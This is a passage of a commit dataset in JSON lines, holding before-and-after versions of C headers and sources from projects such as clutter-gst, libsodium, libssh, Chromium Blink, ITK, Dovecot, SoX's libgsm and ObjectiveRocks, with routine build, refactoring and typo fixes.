correctly).\n *\/\n#define FRAGMENT_SHADER_END                             \\\n     \"  gl_FragColor = gl_FragColor * \" COLOR_VAR \";\"\n\n#endif\n\n","new_contents":"\n#ifndef CLUTTER_GST_SHADERS_H\n#define CLUTTER_GST_SHADERS_H\n\n#include <clutter\/clutter.h>\n\n\/* Copied from test-shaders *\/\n\n\/* These variables are used instead of the standard GLSL variables on\n   GLES 2 *\/\n#ifdef COGL_HAS_GLES\n\n#define GLES2_VARS              \\\n  \"precision mediump float;\\n\"\n#define TEX_COORD \"cogl_tex_coord_in[0]\"\n#define COLOR_VAR \"cogl_color_in\"\n\n#else \/* COGL_HAS_GLES *\/\n\n#define GLES2_VARS \"\"\n#define TEX_COORD \"gl_TexCoord[0]\"\n#define COLOR_VAR \"gl_Color\"\n\n#endif \/* COGL_HAS_GLES *\/\n\n\/* a couple of boilerplate defines that are common amongst all the\n * sample shaders\n *\/\n\n#define FRAGMENT_SHADER_VARS      \\\n  GLES2_VARS\n\n\/* FRAGMENT_SHADER_END: apply the changed color to the output buffer correctly\n * blended with the gl specified color (makes the opacity of actors work\n * correctly).\n *\/\n#define FRAGMENT_SHADER_END                             \\\n     \"  gl_FragColor = gl_FragColor * \" COLOR_VAR \";\"\n\n#endif\n\n","subject":"Update the shaders to work with Cogl 1.6.0+ and GLES2","message":"sink: Update the shaders to work with Cogl 1.6.0+ and GLES2\n\nThe GLES2 shaders were considered private API until 1.6.0, see\ndiscussion:\n  https:\/\/bugzilla.gnome.org\/show_bug.cgi?id=661071\n\nLet's update the variable names and depend on 1.6.0\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/clutter-gst,skinkie\/clutter-gst,lubosz\/clutter-gst,skinkie\/clutter-gst,ystreet\/clutter-gst,GNOME\/clutter-gst,ystreet\/clutter-gst,ystreet\/clutter-gst,GNOME\/clutter-gst,skinkie\/clutter-gst,ystreet\/clutter-gst,GNOME\/clutter-gst,lubosz\/clutter-gst,lubosz\/clutter-gst"}
{"commit":"81321c880914cd7de46c1234d3cc73eaedd1350e","old_file":"src\/libsodium\/include\/sodium\/utils.h","new_file":"src\/libsodium\/include\/sodium\/utils.h","old_contents":"\n#ifndef __SODIUM_UTILS_H__\n#define __SODIUM_UTILS_H__\n\n#include <stddef.h>\n\n#include \"export.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#ifndef __cplusplus\n# define _SODIUM_C99(X) X\n#else\n# define _SODIUM_C99(X)\n#endif\n\nunsigned char *_sodium_alignedcalloc(unsigned char ** const unaligned_p,\n                                     const size_t len);\n\nSODIUM_EXPORT\nvoid sodium_memzero(void * const pnt, const size_t len);\n\nSODIUM_EXPORT\nint sodium_memcmp(const void * const b1_, const void * const b2_, size_t size);\n\nSODIUM_EXPORT\nchar *sodium_bin2hex(char * const hex, const size_t hexlen,\n                     const unsigned char *bin, const size_t binlen);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\n#ifndef __SODIUM_UTILS_H__\n#define __SODIUM_UTILS_H__\n\n#include <stddef.h>\n\n#include \"export.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if defined(__cplusplus) || !defined(__STDC_VERSION__) || __STDC_VERSION__ < 199901L\n# define _SODIUM_C99(X)\n#else\n# define _SODIUM_C99(X) X\n#endif\n\nunsigned char *_sodium_alignedcalloc(unsigned char ** const unaligned_p,\n                                     const size_t len);\n\nSODIUM_EXPORT\nvoid sodium_memzero(void * const pnt, const size_t len);\n\nSODIUM_EXPORT\nint sodium_memcmp(const void * const b1_, const void * const b2_, size_t size);\n\nSODIUM_EXPORT\nchar *sodium_bin2hex(char * const hex, const size_t hexlen,\n                     const unsigned char *bin, const size_t binlen);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Define _SODIUM_C99 as empty on retarded compilers, not only when using C++","message":"Define _SODIUM_C99 as empty on retarded compilers, not only when using C++\n","lang":"C","license":"isc","repos":"eburkitt\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,tml\/libsodium,soumith\/libsodium,eburkitt\/libsodium,mvduin\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,zhuqling\/libsodium,netroby\/libsodium,pmienk\/libsodium,eburkitt\/libsodium,donpark\/libsodium,GreatFruitOmsk\/libsodium,optedoblivion\/android_external_libsodium,mvduin\/libsodium,SpiderOak\/libsodium,rustyhorde\/libsodium,kytvi2p\/libsodium,HappyYang\/libsodium,pmienk\/libsodium,paragonie-scott\/libsodium,Payshare\/libsodium,akkakks\/libsodium,SpiderOak\/libsodium,paragonie-scott\/libsodium,netroby\/libsodium,JackWink\/libsodium,donpark\/libsodium,mvduin\/libsodium,zhuqling\/libsodium,akkakks\/libsodium,paragonie-scott\/libsodium,netroby\/libsodium,pyparallel\/libsodium,kytvi2p\/libsodium,optedoblivion\/android_external_libsodium,JackWink\/libsodium,optedoblivion\/android_external_libsodium,tml\/libsodium,pyparallel\/libsodium,Payshares\/libsodium,JackWink\/libsodium,Payshare\/libsodium,soumith\/libsodium,Payshare\/libsodium,zhuqling\/libsodium,donpark\/libsodium,akkakks\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,pmienk\/libsodium,GreatFruitOmsk\/libsodium,SpiderOak\/libsodium,HappyYang\/libsodium,pyparallel\/libsodium,SpiderOak\/libsodium,kytvi2p\/libsodium,HappyYang\/libsodium,Payshares\/libsodium,soumith\/libsodium,akkakks\/libsodium,tml\/libsodium,rustyhorde\/libsodium,GreatFruitOmsk\/libsodium,rustyhorde\/libsodium,Payshares\/libsodium,rustyhorde\/libsodium"}
{"commit":"ef1866db76ed10d64bf8cf97111554b2b2eb1278","old_file":"tests\/torture.c","new_file":"tests\/torture.c","old_contents":"#include \"torture.h\"\n\n#include <stdio.h>\n\nstatic int verbosity = 0;\n\nint torture_libssh_verbosity(void){\n  return verbosity;\n}\n\nint main(int argc, char **argv) {\n    (void) argc;\n    (void) argv;\n\n    return torture_run_tests();\n}\n","new_contents":"#include <stdio.h>\n#include <libssh\/libssh.h>\n\n#include \"torture.h\"\n\nstatic int verbosity = 0;\n\nint torture_libssh_verbosity(void){\n  return verbosity;\n}\n\nint main(int argc, char **argv) {\n    int rc;\n\n    (void) argc;\n    (void) argv;\n\n    ssh_init();\n\n    rc = torture_run_tests();\n\n    ssh_finalize();\n\n    return rc;\n}\n","subject":"Call ssh_init() and ssh_finalize() before we run the tests.","message":"tests: Call ssh_init() and ssh_finalize() before we run the tests.\n","lang":"C","license":"lgpl-2.1","repos":"DouglasHeriot\/libssh,DouglasHeriot\/libssh,rofl0r\/libssh,jt1\/honeypot-libssh,kedazo\/libssh,kedazo\/libssh,robxu9\/libssh,bigcat26\/libssh-mod,rofl0r\/libssh,pouete\/libssh,Distrotech\/libssh,elastichosts\/libssh,bigcat26\/libssh-mod,substack\/libssh,sebadoom\/libssh,bigcat26\/libssh-mod,rofl0r\/libssh,mwgoldsmith\/ssh,substack\/libssh,kedazo\/libssh,rofl0r\/libssh,miloj\/libssh-v0.5,jahrome\/libssh,taikoo\/libssh,taikoo\/libssh,nviennot\/libssh,nviennot\/libssh,wangshawn\/libssh,jahrome\/libssh,miloj\/libssh-v0.5,mwgoldsmith\/libssh,substack\/libssh,wangshawn\/libssh,jahrome\/libssh,bigcat26\/libssh-mod,jt1\/honeypot-libssh,substack\/libssh,Distrotech\/libssh,mwgoldsmith\/libssh,jahrome\/libssh,elastichosts\/libssh,pouete\/libssh,nviennot\/libssh,Distrotech\/libssh,DouglasHeriot\/libssh,wangshawn\/libssh,pouete\/libssh,mwgoldsmith\/libssh,mwgoldsmith\/ssh,robxu9\/libssh,robxu9\/libssh,DouglasHeriot\/libssh,wangshawn\/libssh,mwgoldsmith\/ssh,nviennot\/libssh,sebadoom\/libssh,mwgoldsmith\/ssh,Distrotech\/libssh,taikoo\/libssh,kedazo\/libssh,jt1\/honeypot-libssh,sebadoom\/libssh,robxu9\/libssh,elastichosts\/libssh,sebadoom\/libssh,mwgoldsmith\/libssh,taikoo\/libssh,miloj\/libssh-v0.5,jt1\/honeypot-libssh,pouete\/libssh,miloj\/libssh-v0.5"}
{"commit":"96ca48b3682489579ed8f429e964462fffa6e095","old_file":"Source\/core\/paint\/LayoutObjectDrawingRecorder.h","new_file":"Source\/core\/paint\/LayoutObjectDrawingRecorder.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef LayoutObjectDrawingRecorder_h\n#define LayoutObjectDrawingRecorder_h\n\n#include \"core\/layout\/PaintPhase.h\"\n#include \"platform\/geometry\/FloatRect.h\"\n#include \"platform\/geometry\/LayoutRect.h\"\n#include \"platform\/graphics\/paint\/DisplayItem.h\"\n#include \"platform\/graphics\/paint\/DrawingRecorder.h\"\n\nnamespace blink {\n\nclass GraphicsContext;\nclass LayoutObject;\n\nclass LayoutObjectDrawingRecorder {\npublic:\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, DisplayItem::Type displayItemType, const LayoutRect& clip)\n        : m_drawingRecorder(context, layoutObject, displayItemType, pixelSnappedIntRect(clip)) { }\n\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, PaintPhase phase, const FloatRect& clip)\n        : m_drawingRecorder(context, layoutObject, DisplayItem::paintPhaseToDrawingType(phase), clip) { }\n\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, DisplayItem::Type type, const FloatRect& clip)\n        : m_drawingRecorder(context, layoutObject, type, clip) { }\n\n    bool canUseCachedDrawing() const { return m_drawingRecorder.canUseCachedDrawing(); }\n\nprivate:\n    DrawingRecorder m_drawingRecorder;\n};\n\n} \/\/ namespace blink\n\n#endif \/\/ LayoutObjectDrawingRecorder_h\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef LayoutObjectDrawingRecorder_h\n#define LayoutObjectDrawingRecorder_h\n\n#include \"core\/layout\/PaintPhase.h\"\n#include \"platform\/geometry\/LayoutRect.h\"\n#include \"platform\/graphics\/paint\/DrawingRecorder.h\"\n\nnamespace blink {\n\nclass GraphicsContext;\nclass LayoutObject;\n\n\/\/ Convienance constructors for creating DrawingRecorders.\nclass LayoutObjectDrawingRecorder final : public DrawingRecorder {\npublic:\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, DisplayItem::Type displayItemType, const LayoutRect& clip)\n        : DrawingRecorder(context, layoutObject, displayItemType, pixelSnappedIntRect(clip)) { }\n\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, PaintPhase phase, const FloatRect& clip)\n        : DrawingRecorder(context, layoutObject, DisplayItem::paintPhaseToDrawingType(phase), clip) { }\n\n    LayoutObjectDrawingRecorder(GraphicsContext& context, const LayoutObject& layoutObject, DisplayItem::Type type, const FloatRect& clip)\n        : DrawingRecorder(context, layoutObject, type, clip) { }\n};\n\n} \/\/ namespace blink\n\n#endif \/\/ LayoutObjectDrawingRecorder_h\n","subject":"Convert LayoutDrawingRecorder to be a simple helper of DrawingRecorder","message":"Convert LayoutDrawingRecorder to be a simple helper of DrawingRecorder\n\nThis patch makes LayoutDrawingRecorder a non-virual subclass of\nDrawingRecorder instead of carrying a DrawingRecorder member. This is\njust a cleanup and should have no observable differences.\n\nReview URL: https:\/\/codereview.chromium.org\/1083223002\n\ngit-svn-id: bf5cd6ccde378db821296732a091cfbcf5285fbd@193749 bbb929c8-8fbe-4397-9dbb-9b2b20218538\n","lang":"C","license":"bsd-3-clause","repos":"smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Pluto-tv\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,smishenk\/blink-crosswalk"}
{"commit":"3c4434c3aefc9063544bb2e0224ddc2f9b4cfea9","old_file":"Modules\/Core\/Common\/include\/itkImageSourceCommon.h","new_file":"Modules\/Core\/Common\/include\/itkImageSourceCommon.h","old_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef __itkImageSourceCommon_h\n#define __itkImageSourceCommon_h\n\n#include \"ITKCommonExport.h\"\n\nnamespace itk\n{\n\n\/** \\class ImageSourceCommon\n * \\brief Secondary base class of ImageSource common between templates\n *\n * This class provides common non-templated code which can be compiled\n * and used by all templated versions of ImageSource.\n *\n * This class must be inherited privately, and light-weight adapting\n * of methods is required for virtual methods or non-private methods\n * for the ImageSource interface.\n *\n * \\ingroup ITKCommon\n *\/\nstruct ITKCommon_EXPORT ImageSourceCommon\n{\n  \/**\n   * Provide access to a common static object for image region splitting\n   *\/\n  static  const ImageRegionSplitterBase*  GetGlobalDefaultSplitter(void);\n};\n\n} \/\/ end namespace itk\n\n#endif\n","new_contents":"\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef __itkImageSourceCommon_h\n#define __itkImageSourceCommon_h\n\n#include \"ITKCommonExport.h\"\n#include \"itkImageRegionSplitterBase.h\"\n\nnamespace itk\n{\n\n\/** \\class ImageSourceCommon\n * \\brief Secondary base class of ImageSource common between templates\n *\n * This class provides common non-templated code which can be compiled\n * and used by all templated versions of ImageSource.\n *\n * This class must be inherited privately, and light-weight adapting\n * of methods is required for virtual methods or non-private methods\n * for the ImageSource interface.\n *\n * \\ingroup ITKCommon\n *\/\nstruct ITKCommon_EXPORT ImageSourceCommon\n{\n  \/**\n   * Provide access to a common static object for image region splitting\n   *\/\n  static  const ImageRegionSplitterBase*  GetGlobalDefaultSplitter(void);\n};\n\n} \/\/ end namespace itk\n\n#endif\n","subject":"Add missing itkImageRegionSplitterBase to ImageSourceCommon.","message":"COMP: Add missing itkImageRegionSplitterBase to ImageSourceCommon.\n\nChange-Id: I64f5635f1605c4ce4c47d56ad6c6abcda40c130d\n","lang":"C","license":"apache-2.0","repos":"malaterre\/ITK,heimdali\/ITK,jmerkow\/ITK,spinicist\/ITK,spinicist\/ITK,biotrump\/ITK,atsnyder\/ITK,spinicist\/ITK,LucHermitte\/ITK,biotrump\/ITK,fbudin69500\/ITK,thewtex\/ITK,LucHermitte\/ITK,LucasGandel\/ITK,spinicist\/ITK,msmolens\/ITK,zachary-williamson\/ITK,PlutoniumHeart\/ITK,hendradarwin\/ITK,richardbeare\/ITK,biotrump\/ITK,thewtex\/ITK,richardbeare\/ITK,vfonov\/ITK,spinicist\/ITK,blowekamp\/ITK,LucasGandel\/ITK,stnava\/ITK,fbudin69500\/ITK,InsightSoftwareConsortium\/ITK,BRAINSia\/ITK,BRAINSia\/ITK,jcfr\/ITK,blowekamp\/ITK,thewtex\/ITK,Kitware\/ITK,biotrump\/ITK,LucasGandel\/ITK,blowekamp\/ITK,jcfr\/ITK,biotrump\/ITK,zachary-williamson\/ITK,vfonov\/ITK,heimdali\/ITK,spinicist\/ITK,BlueBrain\/ITK,LucHermitte\/ITK,BRAINSia\/ITK,zachary-williamson\/ITK,jmerkow\/ITK,InsightSoftwareConsortium\/ITK,heimdali\/ITK,jcfr\/ITK,spinicist\/ITK,spinicist\/ITK,PlutoniumHeart\/ITK,InsightSoftwareConsortium\/ITK,zachary-williamson\/ITK,hendradarwin\/ITK,hjmjohnson\/ITK,InsightSoftwareConsortium\/ITK,zachary-williamson\/ITK,thewtex\/ITK,stnava\/ITK,blowekamp\/ITK,atsnyder\/ITK,hjmjohnson\/ITK,msmolens\/ITK,malaterre\/ITK,fedral\/ITK,jmerkow\/ITK,zachary-williamson\/ITK,jcfr\/ITK,stnava\/ITK,atsnyder\/ITK,BlueBrain\/ITK,InsightSoftwareConsortium\/ITK,malaterre\/ITK,PlutoniumHeart\/ITK,jmerkow\/ITK,msmolens\/ITK,fbudin69500\/ITK,richardbeare\/ITK,ajjl\/ITK,stnava\/ITK,hendradarwin\/ITK,malaterre\/ITK,jmerkow\/ITK,LucHermitte\/ITK,BRAINSia\/ITK,LucasGandel\/ITK,LucasGandel\/ITK,BlueBrain\/ITK,fedral\/ITK,thewtex\/ITK,atsnyder\/ITK,msmolens\/ITK,fedral\/ITK,Kitware\/ITK,heimdali\/ITK,PlutoniumHeart\/ITK,malaterre\/ITK,blowekamp\/ITK,fedral\/ITK,stnava\/ITK,fbudin69500\/ITK,atsnyder\/ITK,PlutoniumHeart\/ITK,hjmjohnson\/ITK,ajjl\/ITK,stnava\/ITK,zachary-williamson\/ITK,vfonov\/ITK,PlutoniumHeart\/ITK,richardbeare\/ITK,heimdali\/ITK,heimdali\/ITK,thewtex\/ITK,PlutoniumHeart\/ITK,ajjl\/ITK,ajjl\/ITK,hjmjohnson\/ITK,zachary-williamson\/ITK,jmerkow\/ITK,vfonov\/ITK,fedral\/ITK,hendradarwin\/ITK,heimdali\/ITK,LucHermitte\/ITK,hjmjohnson\/ITK,Kitware\/ITK,InsightSoftwareConsortium\/ITK,hendradarwin\/ITK,richardbeare\/ITK,LucHermitte\/ITK,blowekamp\/ITK,LucasGandel\/ITK,stnava\/ITK,fbudin69500\/ITK,BRAINSia\/ITK,stnava\/ITK,malaterre\/ITK,BRAINSia\/ITK,thewtex\/ITK,jcfr\/ITK,LucHermitte\/ITK,ajjl\/ITK,spinicist\/ITK,atsnyder\/ITK,msmolens\/ITK,atsnyder\/ITK,BRAINSia\/ITK,vfonov\/ITK,blowekamp\/ITK,fbudin69500\/ITK,ajjl\/ITK,LucasGandel\/ITK,BlueBrain\/ITK,vfonov\/ITK,Kitware\/ITK,fbudin69500\/ITK,BlueBrain\/ITK,ajjl\/ITK,biotrump\/ITK,vfonov\/ITK,richardbeare\/ITK,atsnyder\/ITK,msmolens\/ITK,BlueBrain\/ITK,fedral\/ITK,BlueBrain\/ITK,BlueBrain\/ITK,fedral\/ITK,fbudin69500\/ITK,jcfr\/ITK,InsightSoftwareConsortium\/ITK,Kitware\/ITK,jmerkow\/ITK,LucasGandel\/ITK,heimdali\/ITK,hjmjohnson\/ITK,hjmjohnson\/ITK,stnava\/ITK,Kitware\/ITK,fedral\/ITK,Kitware\/ITK,atsnyder\/ITK,hendradarwin\/ITK,vfonov\/ITK,ajjl\/ITK,blowekamp\/ITK,LucHermitte\/ITK,malaterre\/ITK,malaterre\/ITK,jcfr\/ITK,jcfr\/ITK,vfonov\/ITK,msmolens\/ITK,hendradarwin\/ITK,jmerkow\/ITK,malaterre\/ITK,PlutoniumHeart\/ITK,biotrump\/ITK,hendradarwin\/ITK,zachary-williamson\/ITK,msmolens\/ITK,biotrump\/ITK,richardbeare\/ITK"}
{"commit":"16c82aa3bcf4bdf7a19bdfe424de094b39c96e82","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(struct client *client)\n{\n\tstruct mail_storage *storage;\n\tconst char *mailbox;\n\tint directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tstorage = client_find_storage(client, &mailbox);\n\tif (storage == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(mailbox);\n\tif (mailbox[len-1] != mail_storage_get_hierarchy_sep(storage))\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(client, storage);\n\telse\n\t\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(struct client *client)\n{\n\tstruct mail_storage *storage;\n\tconst char *mailbox, *full_mailbox;\n\tint directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tstorage = client_find_storage(client, &mailbox);\n\tif (storage == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(mailbox);\n\tif (mailbox[len-1] != mail_storage_get_hierarchy_sep(storage))\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(client, storage);\n\telse\n\t\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE was broken if namespace prefixes were set. Patch by Andreas Fuchs.","message":"CREATE was broken if namespace prefixes were set. Patch by Andreas Fuchs.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch"}
{"commit":"7a41ebe99da12b58622df6112624669a013e7659","old_file":"src\/libgsm\/gsm_create.c","new_file":"src\/libgsm\/gsm_create.c","old_contents":"\/*\n * Copyright 1992 by Jutta Degener and Carsten Bormann, Technische\n * Universitaet Berlin.  See the accompanying file \"COPYRIGHT\" for\n * details.  THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.\n *\/\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"gsm.h\"\n#include \"private.h\"\n\ngsm gsm_create ()\n{\n\tgsm = (gsm)calloc(sizeof(struct gsm_state));\n\n        if (r)\n          r->nrp = 40;\n\n\treturn r;\n}\n","new_contents":"\/*\n * Copyright 1992 by Jutta Degener and Carsten Bormann, Technische\n * Universitaet Berlin.  See the accompanying file \"COPYRIGHT\" for\n * details.  THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.\n *\/\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"gsm.h\"\n#include \"private.h\"\n\ngsm gsm_create ()\n{\n\tgsm r = (gsm)calloc(1, sizeof(struct gsm_state));\n\n        if (r)\n          r->nrp = 40;\n\n\treturn r;\n}\n","subject":"Fix typos in last commit.","message":"Fix typos in last commit.\n","lang":"C","license":"lgpl-2.1","repos":"davel\/sox,cbagwell\/sox,Distrotech\/sox,CaptainHayashi\/sox,CaptainHayashi\/sox,davel\/sox,MageSlayer\/sox,jacksonh\/sox,uklauer\/sox,cbagwell\/sox,Distrotech\/sox,jacksonh\/sox,pcqpcq\/sox,mhartzel\/sox_personal_fork,davel\/sox,MageSlayer\/sox,cbagwell\/sox,MageSlayer\/sox,Motiejus\/sox,mhartzel\/sox_personal_fork,davel\/sox,Distrotech\/sox,uklauer\/sox,CaptainHayashi\/sox,mhartzel\/sox_personal_fork,Motiejus\/sox,pcqpcq\/sox,mhartzel\/sox_personal_fork,CaptainHayashi\/sox,jacksonh\/sox,pcqpcq\/sox,MageSlayer\/sox,Distrotech\/sox,Motiejus\/sox,uklauer\/sox,cbagwell\/sox,uklauer\/sox,Motiejus\/sox,jacksonh\/sox,pcqpcq\/sox,MageSlayer\/sox"}
{"commit":"9a59d6e0df981124edd1be8222f7b2efd41af6f7","old_file":"Tests\/ObjectiveRocksTests-iOS-Bridging-Header.h","new_file":"Tests\/ObjectiveRocksTests-iOS-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import <ObjectiveRocks\/RocksDB.h>\n\n#import <ObjectiveRocks\/RocksDBColumnFamily.h>\n#import <ObjectiveRocks\/RocksDBColumnFamilyDescriptor.h>\n\n#import <ObjectiveRocks\/RocksDBIterator.h>\n#import <ObjectiveRocks\/RocksDBPrefixExtractor.h>\n\n#import <ObjectiveRocks\/RocksDBWriteBatch.h>\n\n#import <ObjectiveRocks\/RocksDBComparator.h>\n\n#import <ObjectiveRocks\/RocksDBOptions.h>\n#import <ObjectiveRocks\/RocksDBDatabaseOptions.h>\n#import <ObjectiveRocks\/RocksDBColumnFamilyOptions.h>\n#import <ObjectiveRocks\/RocksDBWriteOptions.h>\n#import <ObjectiveRocks\/RocksDBReadOptions.h>\n#import <ObjectiveRocks\/RocksDBTableFactory.h>\n#import <ObjectiveRocks\/RocksDBBlockBasedTableOptions.h>\n#import <ObjectiveRocks\/RocksDBCache.h>\n#import <ObjectiveRocks\/RocksDBFilterPolicy.h>\n#import <ObjectiveRocks\/RocksDBMemTableRepFactory.h>\n#import <ObjectiveRocks\/RocksDBEnv.h>\n\n#import <ObjectiveRocks\/RocksDBSnapshot.h>\n\n#import <ObjectiveRocks\/RocksDBMergeOperator.h>\n\n#import <ObjectiveRocks\/RocksDBTypes.h>\n#import <ObjectiveRocks\/RocksDBRange.h>\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import <ObjectiveRocks\/RocksDB.h>\n\n#import <ObjectiveRocks\/RocksDBColumnFamily.h>\n#import <ObjectiveRocks\/RocksDBColumnFamilyDescriptor.h>\n\n#import <ObjectiveRocks\/RocksDBIterator.h>\n#import <ObjectiveRocks\/RocksDBPrefixExtractor.h>\n\n#import <ObjectiveRocks\/RocksDBWriteBatch.h>\n\n#import <ObjectiveRocks\/RocksDBComparator.h>\n\n#import <ObjectiveRocks\/RocksDBOptions.h>\n#import <ObjectiveRocks\/RocksDBDatabaseOptions.h>\n#import <ObjectiveRocks\/RocksDBColumnFamilyOptions.h>\n#import <ObjectiveRocks\/RocksDBWriteOptions.h>\n#import <ObjectiveRocks\/RocksDBReadOptions.h>\n#import <ObjectiveRocks\/RocksDBTableFactory.h>\n#import <ObjectiveRocks\/RocksDBBlockBasedTableOptions.h>\n#import <ObjectiveRocks\/RocksDBCache.h>\n#import <ObjectiveRocks\/RocksDBFilterPolicy.h>\n#import <ObjectiveRocks\/RocksDBMemTableRepFactory.h>\n#import <ObjectiveRocks\/RocksDBEnv.h>\n\n#import <ObjectiveRocks\/RocksDBSnapshot.h>\n\n#import <ObjectiveRocks\/RocksDBMergeOperator.h>\n\n#import <ObjectiveRocks\/RocksDBRange.h>\n","subject":"Fix bridging header for iOS Swift tests","message":"Fix bridging header for iOS Swift tests\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
